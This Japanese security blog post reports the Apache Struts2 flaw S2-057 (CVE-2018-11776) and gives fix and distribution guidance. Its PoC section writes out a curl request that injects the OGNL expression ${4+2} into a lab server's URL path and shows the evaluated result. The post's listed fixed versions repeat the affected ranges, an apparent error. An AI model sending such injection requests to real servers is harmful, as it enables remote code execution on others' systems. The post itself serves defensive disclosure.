(08/28/2018 更新:既にPoCコードも出回っていますので早急な対応が必要です)
こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。
08/22/2018にApache Struts2にリモートコード実行(RCE)の脆弱性(S2-057 : CVE-2018-11776)が報告されてます。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。情報は逐次更新します。
(08/28/2018 更新:既にPoCコードも出回っていますので早急な対応が必要です)
(08/28/2018 追記:脆弱性からOGNL形式で実行するには”alwaysSelectFullNamespace”を”True”にしてあげる必要があるようです。)
Priority
Critical
PoC
struts.xmlファイル内で
constant name="struts.mapper.alwaysSelectFullNamespace" value="true"
としてから、actionタグを指定して脆弱な状態にすると、リモートのcurlを用いて
~/PoC/Struts_S2-057-CVE-2018-11776$ curl -v 'http://172.16.148.130:8080/struts2_2.5.16-showcase/$%7b4%2b2%7d/help.action'
* Trying 172.16.148.130...
* TCP_NODELAY set
* Connected to 172.16.148.130 (172.16.148.130) port 8080 (#0)
> GET /struts2_2.5.16-showcase/$%7b4%2b2%7d/help.action HTTP/1.1
> Host: 172.16.148.130:8080
> User-Agent: curl/7.52.1
> Accept: */*
>
< HTTP/1.1 302 Found
< Server: Apache-Coyote/1.1
< Location: /struts2_2.5.16-showcase/6/date.action
< Content-Language: ja-JP
< Content-Length: 0
< Date: Tue, 28 Aug 2018 09:49:29 GMT
のように、${4+2}を計算した値の"6"が
< Location: /struts2_2.5.16-showcase/6/date.action
と表示されます。後は適宜OGNL式を作るとリモートでコードが実行できます。
関連ニュース
Semmle Discovers Critical Remote Code Execution Vulnerability in Apache Struts (CVE-2018-11776)
修正方法
Strutsを最新のものに更新して下さい。多くのディストリビューションはstrutsパッケージを用意していません。そのため、一般的な情報と照らし合わせて、導入したベンダー・担当などと適切に確認してください。
CVE概要(詳細はCVEのサイトをご確認ください)
- S2-057 (CVE-2018-11776)
- リモートでのコード実行(RCE)の脆弱性
重要度 - Critical
影響範囲 : Struts 2.3 - 2.3.34 / Struts 2.5 - Struts 2.5.16
修正バージョン : Struts 2.3 - 2.3.34 / Struts 2.5 - Struts 2.5.16
ネームスペースが無い結果を用いると同時に、上位アクションにもネームスペースが無い/またはワイルドカードを用いている時に、リモートでのコード実行(RCE)を引き起こす可能性がある脆弱性があります。
主なディストリビューションの情報
- Debian
- Red Hat Enterprise Linux/CentOS
- Oracle Linux
- Ubuntu
- SUSE/openSUSE
対処方法
各情報を入手して検討し、適切にアップデートを行ってください。
[参考]
https://cwiki.apache.org/confluence/display/WW/S2-057
セミナー情報 1
2018年10月22日から10月25日のCSS(Computer Security Symposium)2018で、「OSSセキュリティ技術ワークショップ(OWS) 2018特別セッション」 と題しまして、OSSセキュリティ技術の会後援で特別セッションを開催します。
https://www.iwsec.org/ows/2018/index.htmlにプログラム内容と一般論文申し込みの詳細を載せていきますので、是非御確認下さい(ページは更新中です)。
セキュリティ系連載案内
- OSSセキュリティ技術の会による日経Linuxでの連載「IoT時代の最新SELinux入門」がITPro上で読めるようになりました。技術の会代表で第一人者である中村さん等による、最新のSELinuxの情報やコマンド類等も更新されているのでお薦めです。
- OSSセキュリティ技術の会によるThinkITでの連載「開発者のためのセキュリティ実践講座」がThinkIT上で開始しました。技術の会の中の人間で、最新の代表的なOSSセキュリティ技術を紹介していきます。
- OSSセキュリティ技術の会により、ThinkITでLinuxSecuritySummit 2017のレポートが紹介されています。
- OSSセキュリティ技術の会の面により、@ITで「OSS脆弱性ウォッチ」が連載されています。
- OSSセキュリティ技術の会の面により、@ITで「OpenSCAPで脆弱性対策はどう変わる?」が連載されています。